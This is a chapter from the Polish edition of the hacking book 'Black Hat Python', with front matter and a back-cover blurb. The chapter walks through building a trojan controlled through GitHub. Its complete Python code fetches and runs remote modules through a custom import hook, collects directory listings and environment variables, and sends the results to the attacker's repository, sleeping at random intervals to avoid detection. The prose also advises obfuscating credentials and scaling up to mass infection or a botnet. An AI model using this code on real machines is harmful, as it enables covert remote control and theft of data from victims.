Black Hat Python

Język Python dla hakerów i pentesterów

Justin Seitz

Przedmowa Charlie Miller

no starch press

Helion

Tytuł oryginału: Black Hat Python: Python Programming for Hackers and Pentesters

Tłumaczenie: Łukasz Piwko

ISBN: 978-83-283-1250-0

Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: *helion@helion.pl*
WWW: *http://helion.pl* (księgarnia internetowa, katalog książek)

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/blahap
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

Spis treści

7

Centrum dowodzenia GitHub

JEDNYM Z NAJWIĘKSZYCH PROBLEMÓW DO ROZWIĄZANIA PRZY TWORZENIU SZKIELETOWEGO SYSTEMU TROJANÓW JEST ASYNCHRONICZNE KONTROLOWANIE, AKTUALIZOWANIE I ODBIERANIE DANYCH OD WDROŻONYCH IMPLANTÓW. MUSIMY mieć względnie uniwersalną metodę wysyłania kodu do zdalnych wirusów. Taki poziom elastyczności jest potrzebny nie tylko po to, by móc kontrolować swoje trojany, ale również po to, by móc przechowywać kod przeznaczony dla konkretnych systemów operacyjnych.

Choć hakerzy wynaleźli wiele pomysłowych technik dowodzenia swoimi produktami, np. przy wykorzystaniu IRC-a i Twittera, my użyjemy usługi, która służy właśnie do przechowywania kodu. Użyjemy portalu **GitHub** do przechowywania konfiguracji implantów i filtrowanych danych, jak również wszystkich modułów potrzebnych implantom do działania. Ponadto pokażę Ci, jak zmodyfikować mechanizm importu macierzystej biblioteki Pythona, tak aby po utworzeniu przez nas nowego modułu trojana nasze implanty automatycznie próbowały go pobrać wraz ze wszystkimi bibliotekami zależnymi wprost z naszego repozytorium. Pamiętaj, że komunikacja z portalem GitHub jest poddawana szyfrowaniu SSL i tylko nieliczne firmy aktywnie blokują ruch z tego serwisu.

Należy podkreślić, że do tych testów użyjemy publicznego repozytorium. Jeśli masz trochę pieniędzy do wydania, to możesz też utworzyć repozytorium prywatne, dzięki czemu ukryjesz swoje postępki przed wścibskimi. Ponadto wszystkie moduły, informacje konfiguracyjne i dane można zaszyfrować przy użyciu par kluczy publicznych i prywatnych, o czym będzie mowa w rozdziale 9. Zaczynamy!

Tworzenie konta w portalu GitHub

Jeśli nie masz jeszcze konta w portalu GitHub, to wejdź na stronę *GitHub.com* i się zarejestruj, a następnie utwórz nowe repozytorium o nazwie *chapter7*. Potem musisz zainstalować bibliotekę Pythona z API GitHub[1], aby móc zautomatyzować proces komunikacji z repozytorium. W tym celu wystarczy wykonać poniższe polecenie w wierszu poleceń:

```
pip install github3.py
```

Jeśli nie masz jeszcze klienta git, to teraz go zainstaluj. Ja do pracy używam systemu Linux, ale klient ten działa na wszystkich platformach. Kolejną czynnością jest utworzenie struktury katalogów w repozytorium. Wykonaj w wierszu poleceń poniższe polecenia (odpowiednio je dostosuj, jeśli używasz systemu Windows):

```
$ mkdir trojan
$ cd trojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch modules/.gitignore
$ touch config/.gitignore
$ touch data/.gitignore
$ git add .
$ git commit -m "Dodanie struktury repozytorium dla trojana."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master
```

Utworzyliśmy podstawową strukturę naszego repozytorium. Katalog *config* zawiera pliki konfiguracyjne, które dla każdego trojana będą inne. Każdy trojan będzie służył do czegoś innego, więc musi pobierać własny plik konfiguracyjny. Katalog *modules* zawiera moduły do pobrania i wykonania przez trojana.

[1] Repozytorium, w którym przechowywana jest ta biblioteka, znajduje się pod adresem *https://github.com/copitux/python-github3/*.

Zaimplementujemy specjalny hak importu, aby umożliwić naszym trojanom importowanie bibliotek wprost z naszego repozytorium GitHub. Przy okazji umożliwi nam to przechowywanie w GitHub zewnętrznych bibliotek, dzięki czemu nie będziemy musieli od nowa kompilować trojana za każdym razem, gdy zechcemy dodać nowe funkcje lub zależności. Katalog *data* posłuży nam do przechowywania zdobytych przez trojana danych, informacji z przechwytywania naciśnięć klawiszy, zrzutów ekranu itd. Teraz utworzymy kilka prostych modułów i przykładowy plik konfiguracyjny.

Tworzenie modułów

W dalszych rozdziałach nauczysz się robić brzydkie rzeczy przy użyciu trojanów, np. rejestrować naciskane klawisze i robić zrzuty ekranu. Ale na początek utworzymy kilka prostych modułów, które będą łatwe do przetestowania i wdrożenia. Utwórz nowy plik w katalogu *modules*, nazwij go *dirlister.py* i wpisz do niego poniższy kod:

```
import os

def run(**args):

    print "[*] W module dirlister."
    files = os.listdir(".")

    return str(files)
```

Ten krótki fragment kodu zawiera definicję funkcji `run` tworzącej i zwracającej listę wszystkich plików znajdujących się w bieżącym katalogu. Każdy moduł powinien zawierać funkcję `run` przyjmującą zmienną liczbę argumentów. Dzięki temu każdy moduł można załadować w taki sam sposób, a jednocześnie ma się możliwość dostosowywania plików konfiguracyjnych przekazywanych do modułów.

Utwórzmy jeszcze jeden moduł, tym razem o nazwie *environment.py*.

```
import os

def run(**args):
    print "[*] W module environment."
    return str(os.environ)
```

Moduł ten pobiera zmienne środowiskowe ze zdalnej maszyny, na której zainstalowany jest trojan. Teraz wyślemy ten kod do naszego repozytorium GitHub, aby udostępnić go naszemu wirusowi. W wierszu poleceń przejdź do głównego katalogu repozytorium i wykonaj poniższe polecenia:

```
$ git add .
$ git commit -m "Dodanie nowych modułów"
$ git push origin master
Username: ********
Password: ********
```

Kod powinien zostać wysłany do repozytorium GitHub. Jeśli chcesz się upewnić, to możesz się zalogować i to sprawdzić! Dokładnie w ten sam sposób możesz postępować przy pisaniu programów w przyszłości. Utworzenie bardziej zaawansowanych modułów pozostawiam jako zadanie domowe do samodzielnego wykonania. Jeśli będziesz mieć kilkaset wdrożonych trojanów, możesz wysyłać nowe moduły do repozytorium GitHub i sprawdzać, czy dobrze działają, włączając je w pliku konfiguracyjnym lokalnej wersji wirusa. W ten sposób wszystkie trojany przed wdrożeniem na zdalnej maszynie można przetestować w kontrolowanym środowisku.

Konfiguracja trojana

Chcemy mieć możliwość zlecania naszemu trojanowi różnych zadań przez pewien czas. W związku z tym musimy jakoś się z nim komunikować, aby poinformować go, które moduły ma uruchomić. Do tego celu wykorzystamy pliki konfiguracyjne, przy użyciu których będziemy też mogli w razie potrzeby usypiać trojana (nie dając mu żadnych zadań). Każdy wdrożony wirus powinien mieć identyfikator odróżniający go od innych wirusów, abyśmy wiedzieli, skąd pochodzą przychodzące dane, oraz abyśmy mogli kontrolować każdy wirus osobno. Skonfigurujemy trojana tak, aby szukał w katalogu *config* pliku o nazwie *IDENTYFIKATOR.json* zawierającego kod w formacie JSON, który można przekonwertować na słownik Pythona. Format JSON umożliwia także łatwą zmianę ustawień konfiguracyjnych. Otwórz katalog *config* i utwórz w nim plik o nazwie *abc.json* z następującą zawartością:

```
[
    {
     "module" : "dirlister"
    },
    {
     "module" : "environment"
    }
]
```

Jest to prosta lista modułów, które chcemy uruchamiać przez naszego trojana. Później pokażę, jak wczytać ten dokument i włączać moduły za pomocą iteracji przez zawarte w nim opcje. Jeśli zastanawiasz się, jakie opcje byłyby przydatne w modułach, to możesz pomyśleć o ustawianiu czasu wykonywania i liczby uruchomień oraz przekazywaniu argumentów. Przejdź do wiersza poleceń i wykonaj poniższe polecenie w katalogu głównym repozytorium.

```
$ git add .
$ git commit -m "Dodanie prostych opcji konfiguracji."
$ git push origin master
Username: ********
Password: ********
```

Przedstawiony dokument konfiguracyjny jest bardzo prosty. Zawiera listę słowników informujących trojana, jakie moduły ma zaimportować i uruchomić. Gdy będziesz pracować nad systemem szkieletowym, możesz dodać jeszcze inne ustawienia, jak np. metody wykradania danych, o których jest mowa w rozdziale 9. Skoro mamy pliki konfiguracyjne i proste moduły do wykonania, możemy zacząć pracę nad główną częścią trojana.

Budowa trojana komunikującego się z portalem GitHub

Teraz utworzymy właściwego trojana, który będzie pobierał opcje konfiguracyjne i kod do wykonania z portalu GitHub. Pierwszą czynnością jest napisanie mechanizmów obsługujących połączenie, uwierzytelnianie i komunikację z interfejsem API GitHub. Utwórz plik o nazwie *git_trojan.py* i wpisz do niego poniższy kod:

```
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

❶ trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path     = "data/%s/" % trojan_id
trojan_modules= []
task_queue    = Queue.Queue()
configured    = False
```

Jest to prosty kod z podstawową konfiguracją i instrukcjami importującymi niezbędne składniki, który po skompilowaniu nie powinien mieć dużego rozmiaru. Napisałem, że nie powinien, ponieważ większość plików binarnych Pythona skompilowanych przy użyciu narzędzia py2exe[2] ma około 7 MB. Jedyna godna

[2] Narzędzie py2exe można znaleźć na stronie *http://www.py2exe.org/*.

bliższej uwagi rzecz to zmienna `trojan_id` ❶ zawierająca identyfikator trojana. Gdybyś chciał rozwinąć ten program do rozmiaru botnetu, to przyda Ci się możliwość generowania trojanów, ustawiania ich identyfikatorów, automatycznego tworzenia plików konfiguracyjnych wysyłanych do serwisu GitHub oraz kompilowania trojanów do postaci pliku wykonywalnego. Ale w tej książce nie opisuję metod tworzenia botnetów. Użyj swojej wyobraźni.

Teraz wyślemy kod do repozytorium GitHub.

```
def connect_to_github():
    gh = login(username="blackhatpythonbook",password="justin1234")
    repo = gh.repository("blackhatpythonbook","chapter7")
    branch = repo.branch("master")

    return gh,repo,branch

def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Znaleziono plik %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json   = get_file_contents(trojan_config)
    config        = json.loads(base64.b64decode(config_json))
    configured    = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
    repo.create_file(remote_path,"Wiadomość o zatwierdzeniu",base64.
    ↪b64encode(data))

    return
```

Te cztery funkcje obsługują podstawową komunikację między trojanem a serwisem GitHub. Funkcja `connect_to_github` uwierzytelnia użytkownika w repozytorium i zapisuje bieżące obiekty `repo` i `branch` dla innych funkcji. Pamiętaj że w prawdziwym programie należałoby maksymalnie zaciemnić tę procedurę uwierzytelniania. Ponadto warto rozważyć, do czego każdy trojan w repozytorium ma dostęp, tak aby jeśli wirus zostanie wykryty, ktoś nie mógł go wykorzystać do usunięcia wszystkich zdobytych przez nas danych. Funkcja `get_file_contents` służy do pobierania plików ze zdalnego repozytorium i odczytywania ich zawartości lokalnie. Przy jej użyciu będziemy wczytywać opcje konfiguracyjne, jak również odczytywać kod źródłowy modułów. Funkcja `get_trojan_config` służy do pobierania z repozytorium dokumentów konfiguracyjnych, zawierających wskazówki dotyczące tego, które moduły trojan ma uruchomić. I ostatnia funkcja, `store_module_result`, wysyła zgromadzone dane na nasze konto. Teraz utworzymy hak importu pozwalający importować zdalne pliki z repozytorium GitHub.

Hakowanie funkcji importu Pythona

Skoro dotarłeś do tej strony, to wiesz, że do pobierania zewnętrznych bibliotek do programów w Pythonie służy instrukcja `import`. Podobną, ale nieco rozszerzoną funkcjonalność chcemy mieć też w naszym trojanie. Mówiąc dokładniej, chcemy sprawić, aby po pobraniu zależności (np. z użyciem Scapy lub `netaddr`) nasz trojan udostępniał dany moduł wszystkim pozostałym modułom, które później dodamy. W Pythonie można modyfikować sposób importowania modułów, tak że jeśli jakiś moduł nie zostanie znaleziony lokalnie, następuje wywołanie klasy importowej, która umożliwia pobranie potrzebnej biblioteki ze zdalnego repozytorium. Należy tylko dodać własną klasę do listy `sys.meta_path`[3]. Zatem teraz napiszemy własną klasę ładującą zależności. Jej kod źródłowy znajduje się poniżej:

```
class GitImporter(object):

    def __init__(self):
        self.current_module_code = ""

    def find_module(self,fullname,path=None):
        if configured:
            print "[*] Próba pobrania %s" % fullname
❶           new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
❷               self.current_module_code = base64.b64decode(new_library)
                return self

        return None
```

[3] Na stronie *http://xion.org.pl/2012/05/06/hacking-python-imports/* znajduje się doskonałe objaśnienie tej techniki napisane przez Karola Kuczmarskiego.

```
    def load_module(self,name):

❸       module = imp.new_module(name)
❹       exec self.current_module_code in module.__dict__
❺       sys.modules[name] = module

        return module
```

Za każdym razem gdy interpreter próbuje załadować niedostępny moduł, wykorzystana zostaje klasa `GitImporter`. Najpierw wywoływana jest funkcja `find_module`, która ma za zadanie zlokalizować moduł. Przekazujemy to wywołanie do naszego ładowacza zdalnych plików ❶ i jeśli dany plik znajduje się w naszym repozytorium, kodujemy jego zawartość algorytmem base64 i zapisujemy ją w naszej klasie ❷. Zwrot `self` oznacza dla interpretera Pythona, że znaleźliśmy moduł i że można wywołać funkcję `load_module` w celu jego załadowania. Przy użyciu macierzystego modułu `imp` najpierw tworzymy nowy pusty obiekt modułu ❸, a potem wstawiamy do niego kod pobrany z GitHub ❹. Ostatnią czynnością jest dodanie utworzonego modułu do listy `sys.modules` ❺, aby znajdowały go kolejne instrukcje importu. Pozostało nam już tylko dokończenie trojana i sprawdzenie, czy działa.

```
def module_runner(module):

    task_queue.put(1)
❶   result = sys.modules[module].run()
    task_queue.get()

    # Zapisuje wynik w repozytorium
❷   store_module_result(result)

    return


# główna pętla trojana
❸ sys.meta_path = [GitImporter()]

while True:

    if task_queue.empty():

❹       config = get_trojan_config()

        for task in config:
❺           t = threading.Thread(target=module_runner,args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))
```

Przed rozpoczęciem pętli głównej aplikacji dodajemy do programu nasz importer modułów ❸. Pierwszą czynnością jest pobranie pliku konfiguracyjnego z repozytorium ❹, a następną — uruchomienie modułu w osobnym wątku ❺. W funkcji `module_runner` wywołujemy funkcję `run` modułu ❶, aby uruchomić jego kod. Wynik działania modułu powinien być zapisany w łańcuchu, który przesyłamy do naszego repozytorium ❷. Na koniec usypiamy program na losową ilość czasu, aby zmylić sieciowe algorytmy analizy wzorów zachowań. Oczywiście aby ukryć swoje niecne intencje, można też stworzyć trochę ruchu do strony *Google.com* i zrobić kilka innych rzeczy. Teraz sprawdzimy, jak nasz trojan spisuje się w praktyce!

Czy to w ogóle działa

Bierzemy naszą ślicznotkę na przejażdżkę w wierszu poleceń.

OSTRZEŻENIE *Jeśli w plikach lub zmiennych środowiskowych przechowujesz poufne dane, to pamiętaj, że w bezpłatnym repozytorium GitHub będą one widoczne dla całego świata. Pamiętaj, że ostrzegałem — no i oczywiście możesz też zastosować techniki szyfrowania opisane w rozdziale 9.*

```
$ python git_trojan.py
[*] Znaleziono plik abc.json
[*] Próba pobrania dirlister
[*] Znaleziono plik modules/dirlister
[*] Próba pobrania environment
[*] Znaleziono plik modules/environment
[*] W module dirlister.
[*] W module environment.
```

Doskonale. Trojan połączył się z moim repozytorium, pobrał plik konfiguracyjny oraz pobrał dwa moduły ustawione w tym pliku i uruchomił je.

Teraz wróć do wiersza poleceń i wykonaj poniższe polecenie:

```
$ git pull origin master
From https://github.com/blackhatpythonbook/chapter7
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
 data/abc/29008.data | 1 +
 data/abc/44763.data | 1 +
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data
```

Znakomicie! Trojan przesłał wyniki zwrócone przez nasze dwa moduły.

Opisane rozwiązanie można rozszerzyć i udoskonalić na wiele sposobów. Na dobry początek warto zastosować szyfrowanie wszystkich modułów, danych konfiguracyjnych i wykradzionych informacji. Jeśli zamierzasz dokonywać infekcji na masową skalę, musisz zautomatyzować zarządzanie pobieraniem danych, aktualizowanie plików konfiguracyjnych oraz tworzenie nowych trojanów. Przy dodawaniu kolejnych składników funkcjonalności trzeba też rozszerzyć mechanizm ładowania dynamicznych i skompilowanych bibliotek Pythona. Teraz utworzymy kilka samodzielnych zadań trojana. Jako pracę domową pozostawiam ich integrację z trojanem w GitHub.

Skorowidz

G

H

I

J

K

L

Ł

M

N

O

P

R

S

Ś

T

U

V

W

Z, Ż

Notatki

Zbuduj własny, niezastąpiony pakiet narzędzi w języku Python!

Python to zaawansowany język programowania z ponad 20-letnią historią, który dzięki przemyślanej architekturze, ciągłemu rozwojowi i dużym możliwościom zyskał sporą sympatię programistów. Przełożyła się ona na liczbę dostępnych bibliotek i narzędzi wspierających tworzenie zarówno prostych, jak i skomplikowanych skryptów. Potencjał Pythona docenili również pentesterzy oraz inne osoby, którym nieobce są zagadnienia związane z bezpieczeństwem systemów informatycznych.

Jeżeli bezpieczeństwo systemów to Twoja pasja, to trafiłeś na doskonałą książkę! Sięgnij po nią i przekonaj się, jak szybko stworzyć w języku Python skrypt tropiący pakiety w systemach Windows i Linux, przeprowadzający atak ARP cache poisoning lub korzystający z biblioteki urllib2. Sporo uwagi zostało tu poświęcone tworzeniu koni trojańskich oraz budowaniu rozszerzeń dla narzędzia Burp. Możesz też sprawdzić, jak zaatakować przeglądarkę Internet Explorer oraz zdobyć wyższe uprawnienia w systemie Windows. Książka ta jest doskonałą lekturą dla czytelników chcących zbudować ciekawe narzędzia hakerskie przy użyciu języka Python.

Dzięki tej książce:

- poznasz możliwości języka Python
- zaznajomisz się z biblioteką urllib2
- rozszerzysz możliwości narzędzia Burp
- stworzysz własnego konia trojańskiego
- zautomatyzujesz wykrywanie ataków

Justin Seitz — starszy specjalista ds. zabezpieczeń w Immunity Inc. W codziennej pracy zajmuje się wyszukiwaniem błędów, inżynierią wsteczną oraz tworzeniem eksploitów. Jest wielkim entuzjastą języka Python. Wykorzystuje go między innymi do prowadzenia analizy zabezpieczeń oraz tworzenia narzędzi przydatnych w pracy.

Helion
35923 numer katalogowy
księgarnia internetowa
http://helion.pl
zamówienia telefoniczne
0 801 339900
0 601 339900
Sprawdź najnowsze promocje:
http://helion.pl/promocje
Książki najchętniej czytane:
http://helion.pl/bestsellery
Zamów informacje o nowościach:
http://helion.pl/nowosci
Helion SA
ul. Kościuszki 1c, 44-100 Gliwice
tel.: 32 230 98 63
e-mail: helion@helion.pl
http://helion.pl
Informatyka w najlepszym wydaniu
sięgnij po WIĘCEJ
KOD KORZYŚCI
ISBN 978-83-283-1250-0
9 788328 312500
cena: 39,90 zł